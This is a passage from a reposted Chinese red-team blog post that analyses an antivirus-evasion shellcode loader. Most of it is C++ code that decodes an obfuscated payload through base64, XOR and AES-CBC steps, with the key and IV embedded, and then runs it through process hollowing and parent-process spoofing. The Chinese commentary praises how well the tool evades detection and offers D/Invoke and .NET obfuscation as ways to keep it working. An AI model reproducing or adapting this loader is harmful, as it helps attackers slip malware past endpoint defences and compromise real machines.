    gnjtbnfmobyh = "^- ^-... ^--.. .. ---.. ^-.. --. .---- .... ^-..- ^-- ----. ^--.- ^. ----. ^.- ^-- ^-.-- ^.-- -.-- ^--.- --... ^--.. -.-- ^-.- ..--- --- ^-.. ...-- .--- ^...- ^-.- -. ----. .--. .- ^-.-. ^-... ^-.- ^-..- ^--- - ^...- ^. ^--. -.-- ^-.- ^.. ---.. .... ..-. --- .... -... ^- ^.. -. -..- ^.. ..-. ^--. ----. ^..- --- ----. ^-..- ----- .-- --... ---.. ^-.- ----. ----- .- ..-. ..-. ..--- ^-.. ^-..- ... ^.-. ^.- ..... .- ^-.-. ^-.- / ^-- -.-- ^.^ ^.-.. -.. ^.--- ^--.. ^- ^.--. ^.--- -.. ^-.-. . ^--- ----- ...- ^... / ^--.. .- ^. ....- ^.- ^--.- ^... ... ^-.-- . ^-..- ^-... ----- . ^.... ... --. ^-.- ^-.- ^.^ ^-.- ^-.- ^.^ --... ^--. ^-.- ^.-- ^-. - .--. -. ^-... ----. -. ---.. ^. -.. -.... -- .-.. -.. ^. ----. - .--- ^... -..- ^-- -..- ^..-. / ^.-.. ..... ^- ^-... .. .--. ^.... ^-. ^.- .-. ^.-- ^. ^-.- ..- ^..-. -..- ....- ... ^.- ^..- ... -.-. ^.-- .--. .-- ....- ^.. .- ^--- ^--.- .. ^..- ----- --. .---- ^-..- .--. --.. ^.... ^.-. ..... ^-... --. ^.-- ---.. ...-- --.- --- --. ^-..- ^. - ..- / ^.... ^-.-- .---- -.. .--. .-. ^-. ^...- ^... ^. .-.. ... ..--- .--- ^-.-- -.-. .-.. - . .--- ...-- ..--- ....- ^..- -.. .-. - ...-- ^. --.. ^-.. ^--.. ^.--. ^- ^.^ ^. ^--.. -.. ^-. ^.-- ^.- .-- -- ^.... -..- ..-. ^-.. .- -.- ^.-- ^.- ... --. ---.. ..... --.- ^.-- ^. ....- ----- ----- -.... --... .-.. ---.. .-- ---.. --.. ----. ^.--. -... .---- ^... ^.... ...-- .-- ^.^ ^..-. ^.-- --- ^-..- --... ^--.- - .-. ^-... -.-. --.. ^-. ^.^ .--. --. ^- ----. .... -..- ^-.-- - -.- ^... .---- .... .--. -.. -.- .---- -..- ^-..- ^.. ..--- --.. . ^--.. -... ^... ^.-. -.... ^-- ^.... ^-.. ^.... -- --... .-.. ^...- ^... ^- -.- ^.-.. ^-- / .--- --- ^.... ..-. ^-.- ...-- --.- ^--.. ^..- ^-... ^.--- ^-.-. -.. -. ^-.-. ^--- .--. .-. ^-.. . .-.. ^--- .--. ... ^-.-. ..... ..-. ..-. ..- ^-- ^.^ --. ..... -... ^--.. ... .---- ^-. ^.- ^-.-. ..--- ^.. ^.-- ";
    gnjtbnfmobyhybhpdxsg = "-.-. . -.... -.-. . ^- ..--- ^-..- .--- ...- ^- ^-- ^... ^... ^... .-.. ----. ----- -.... .- --. ..... -- ..... ^.... -.- ^... ^--.- ..-. ^-... ^-... ^.--- .---- ^--- ..... .- .- / - ... -.-. ^-- ....- ...^- ";
    gnjtbnfmobyhkhlrlybj = ".---- -- ^...- .... ^-.-- --. .... ....- ...- .-- -. ^..-. ^-.-. ^..-. ^.- -... --. ^-.. --- .--. ^... .-- ...^- ...^- ";
    gnjtbnfmobyhowwrtclyellkn = "-... ^-.- ^.^ -... -. ^..^ -... .--- ^.^ ^--- ...- .- ^.^ --.- ----- --. --. .... ";

    //translate all sumarine language
    ttkmjqver = idwdcbsjt(gnjtbnfmobyh);
    ybhpdxsg = idwdcbsjt(gnjtbnfmobyhybhpdxsg);
    khlrlybj = idwdcbsjt(gnjtbnfmobyhkhlrlybj);
    owwrtclyellkn = idwdcbsjt(gnjtbnfmobyhowwrtclyellkn);

    gdfmssmkalh = b64.base64_decode(ttkmjqver);

    //xor
    //char qpuqrabc[] = "Sup3rS3cur3K3yfTw!";
    //initialize owwrtclyellkn in a weird way
    char qpuqrabc[19];
    for (int k = 0; k < owwrtclyellkn.length(); k++) qpuqrabc[k] = owwrtclyellkn[k];

    int j = 0;
    for (int i = 0; i < gdfmssmkalh.size(); i++) {
        if (j == sizeof qpuqrabc - 1) j = 0;

        gdfmssmkalh[i] = gdfmssmkalh[i] ^ qpuqrabc[j];
        j++;
    }

    isbgdapqeicaw.clear();
    std::copy(gdfmssmkalh.begin(), gdfmssmkalh.end(), std::back_inserter(isbgdapqeicaw));

    // AES Decryption Objects
    struct AES_ctx e_ctx;
    uint8_t key[32];
    uint8_t iv[16];
    string a3s_key = b64.base64_decode(ybhpdxsg);
    string a3s_iv = b64.base64_decode(khlrlybj);
    std::copy(a3s_key.begin(), a3s_key.end(), std::begin(key));
    std::copy(a3s_iv.begin(), a3s_iv.end(), std::begin(iv));

    AES_init_ctx_iv(&e_ctx, key, iv);

    // DECRYPT
    struct AES_ctx d_ctx;
    AES_init_ctx_iv(&d_ctx, key, iv);
    AES_CBC_decrypt_buffer(&d_ctx, isbgdapqeicaw.data(), isbgdapqeicaw.size());
    nxllkgwilgr.clear();

    // Remove the padding from the decypted plaintext
    SIZE_T c_size = isbgdapqeicaw.size();
    for (int i = 0; i < c_size; i++)
    {
        if (isbgdapqeicaw[i] == 0x90 && i == (c_size - 1))
        {
            break;
        }
        else if (isbgdapqeicaw[i] == 0x90 && isbgdapqeicaw[i + 1] == 0x90)
        {
            break;
        }
        else
        {
            nxllkgwilgr.push_back(isbgdapqeicaw[i]);
        }
    }

    //process hollowing + pcvhmsvnfo spoofing
    ddrvwpki(nxllkgwilgr);
}

然后我们分析一下CPP代码,其核心则是process hollowing + 父进程欺骗

不过其使用了底层api操作,文章如下:

https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

其具体汇编代码存储与asm文件中

而代码最前面这些则是针对shellcode的加密操作

写在后面:

该工具免杀效果显著,但C#版本的某些api可能会引起杀软注意,可更换为D/Invoke,如以后代码效果失效,可尝试构建.net混淆工具。demo如下:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档